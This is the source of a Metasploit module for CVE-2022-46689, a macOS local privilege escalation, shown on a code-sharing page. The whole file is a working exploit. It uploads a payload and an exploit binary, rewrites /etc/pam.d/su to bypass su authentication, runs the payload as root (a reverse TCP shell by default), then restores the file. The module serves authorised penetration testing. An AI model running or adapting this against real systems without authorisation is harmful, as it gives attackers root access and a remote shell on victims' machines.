CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/osx/local/mac_dirty_cow.rb
Views: 11623
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
prepend Msf::Exploit::Remote::AutoCheck
10
include Msf::Post::File
11
include Msf::Post::OSX::Priv
12
include Msf::Post::OSX::System
13
include Msf::Exploit::EXE
14
include Msf::Exploit::FileDropper
15
16
def initialize(info = {})
17
super(
18
update_info(
19
info,
20
'Name' => 'macOS Dirty Cow Arbitrary File Write Local Privilege Escalation',
21
'Description' => %q{
22
An app may be able to execute arbitrary code with kernel privileges
23
},
24
'License' => MSF_LICENSE,
25
'Author' => [
26
'Ian Beer', # discovery
27
'Zhuowei Zhang', # proof of concept
28
'timwr' # metasploit integration
29
],
30
'References' => [
31
['CVE', '2022-46689'],
32
['URL', 'https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.61.2/tests/vm/vm_unaligned_copy_switch_race.c'],
33
['URL', 'https://github.com/zhuowei/MacDirtyCowDemo'],
34
],
35
'Platform' => 'osx',
36
'Arch' => ARCH_X64,
37
'SessionTypes' => ['shell', 'meterpreter'],
38
'DefaultTarget' => 0,
39
'DefaultOptions' => { 'PAYLOAD' => 'osx/x64/shell_reverse_tcp' },
40
'Targets' => [
41
[ 'Mac OS X x64 (Native Payload)', {} ],
42
],
43
'DisclosureDate' => '2022-12-17',
44
'Notes' => {
45
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES],
46
'Reliability' => [REPEATABLE_SESSION],
47
'Stability' => [CRASH_SAFE]
48
}
49
)
50
)
51
register_advanced_options [
52
OptString.new('TargetFile', [ true, 'The pam.d file to overwrite', '/etc/pam.d/su' ]),
53
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
54
]
55
end
56
57
def check
58
version = Rex::Version.new(get_system_version)
59
if version > Rex::Version.new('13.0.1')
60
CheckCode::Safe
61
elsif version < Rex::Version.new('13.0') && version > Rex::Version.new('12.6.1')
62
CheckCode::Safe
63
elsif version < Rex::Version.new('10.15')
64
CheckCode::Safe
65
else
66
CheckCode::Appears
67
end
68
end
69
70
def exploit
71
if is_root?
72
fail_with Failure::BadConfig, 'Session already has root privileges'
73
end
74
75
unless writable? datastore['WritableDir']
76
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
77
end
78
79
payload_file = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric(5..10)}"
80
binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
81
upload_and_chmodx payload_file, binary_payload
82
register_file_for_cleanup payload_file
83
84
target_file = datastore['TargetFile']
85
current_content = read_file(target_file)
86
backup_file = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric(5..10)}"
87
unless write_file(backup_file, current_content)
88
fail_with Failure::BadConfig, "#{backup_file} is not writable"
89
end
90
register_file_for_cleanup backup_file
91
92
replace_content = current_content.sub('rootok', 'permit')
93
94
replace_file = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric(5..10)}"
95
unless write_file(replace_file, replace_content)
96
fail_with Failure::BadConfig, "#{replace_file} is not writable"
97
end
98
register_file_for_cleanup replace_file
99
100
exploit_file = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric(5..10)}"
101
exploit_exe = exploit_data 'CVE-2022-46689', 'exploit'
102
upload_and_chmodx exploit_file, exploit_exe
103
register_file_for_cleanup exploit_file
104
105
exploit_cmd = "#{exploit_file} #{target_file} #{replace_file}"
106
print_status("Executing exploit '#{exploit_cmd}'")
107
result = cmd_exec(exploit_cmd)
108
print_status("Exploit result:\n#{result}")
109
110
su_cmd = "echo '#{payload_file} & disown' | su"
111
print_status("Running cmd:\n#{su_cmd}")
112
result = cmd_exec(su_cmd)
113
unless result.blank?
114
print_status("Command output:\n#{result}")
115
end
116
117
exploit_cmd = "#{exploit_file} #{target_file} #{backup_file}"
118
print_status("Executing exploit (restoring) '#{exploit_cmd}'")
119
result = cmd_exec(exploit_cmd)
120
print_status("Exploit result:\n#{result}")
121
end
122
123
end
124
125